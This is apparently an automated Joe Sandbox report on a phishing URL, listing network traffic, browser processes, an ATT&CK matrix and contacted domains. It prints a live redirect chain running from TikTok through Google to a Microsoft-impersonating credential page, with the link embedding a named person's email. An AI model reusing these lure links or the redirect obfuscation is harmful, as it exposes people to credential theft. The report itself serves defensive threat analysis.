Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5863941096-1323985617.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 5863941096.legalbusinessfederal.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3602sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKXsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 14:23:45 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 14:23:49 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gFGxbSlMKml4%2BUN2k4LdJjmQPRi0LwAheFpiMPs5gDEEUj4RNV2SVVvI7PT1s3cqMuBTIDNQ7KDnl4f3UUJwY21ML%2BUixT1be7rgzb8i%2F2ajh%2B%2Fd%2Bh2XrqLzg%2BY8jyP71%2BW9I%2F46xHgGMD2Atw5hyAFisSmlRpM%2FbortnjNYeIwuMlQgj4xgyYJaPkA4kYQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901e493a5afdc34f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1481&rtt_var=571&sent=7&recv=7&lost=0&retrans=0&sent_bytes=3050&recv_bytes=1341&delivery_rate=2838626&cwnd=182&unsent_bytes=0&cid=797c533bc63010f4&ts=3517&x=0"

Source: chromecache_86.2.dr, chromecache_63.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_89.2.dr, chromecache_88.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_77.2.dr, chromecache_68.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_89.2.dr, chromecache_77.2.dr, chromecache_68.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_89.2.dr, chromecache_77.2.dr, chromecache_68.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal60.phis.win@20/42@46/17

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2068,i,909759720540661782,17423666179409827010,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2068,i,909759720540661782,17423666179409827010,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://jobuli.in/favicon.ico	0%	Avira URL Cloud	safe
https://5863941096.legalbusinessfederal.com/next.php	0%	Avira URL Cloud	safe
https://5863941096-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://automtionmscroftsecurityactivation-authenic.appfilevault.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
sgp.file.myqcloud.com	43.153.232.152	true	false	high
google.com	172.217.16.206	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
automtionmscroftsecurityactivation-authenic.appfilevault.com	104.21.112.1	true	true	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
5863941096.legalbusinessfederal.com	69.49.230.198	true	false	unknown
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	216.58.206.36	true	false	high
jobuli.in	103.83.194.55	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	high
5863941096-1323985617.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown
www.tiktok.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/	false		high
https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com	true		unknown
https://jobuli.in/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901e4933de02c33d&lang=auto	false		high
https://5863941096.legalbusinessfederal.com/next.php	false	Avira URL Cloud: safe	unknown
https://5863941096-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=	false		unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://automtionmscroftsecurityactivation-authenic.appfilevault.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=gFGxbSlMKml4%2BUN2k4LdJjmQPRi0LwAheFpiMPs5gDEEUj4RNV2SVVvI7PT1s3cqMuBTIDNQ7KDnl4f3UUJwY21ML%2BUixT1be7rgzb8i%2F2ajh%2B%2Fd%2Bh2XrqLzg%2BY8jyP71%2BW9I%2F46xHgGMD2Atw5hyAFisSmlRpM%2FbortnjNYeIwuMlQgj4xgyYJaPkA4kYQ%3D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_89.2.dr, chromecache_77.2.dr, chromecache_68.2.dr, chromecache_88.2.dr	false	high
https://getbootstrap.com)	chromecache_89.2.dr, chromecache_88.2.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_89.2.dr, chromecache_77.2.dr, chromecache_68.2.dr, chromecache_88.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_86.2.dr, chromecache_63.2.dr	false	high
https://getbootstrap.com/)	chromecache_77.2.dr, chromecache_68.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
69.49.230.198	5863941096.legalbusinessfederal.com	United States	46606	UNIFIEDLAYER-AS-1US	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.112.1	automtionmscroftsecurityactivation-authenic.appfilevault.com	United States	13335	CLOUDFLARENETUS	true
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
43.153.232.152	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.16.206	google.com	United States	15169	GOOGLEUS	false
103.83.194.55	jobuli.in	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590899
Start date and time:	2025-01-14 15:22:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
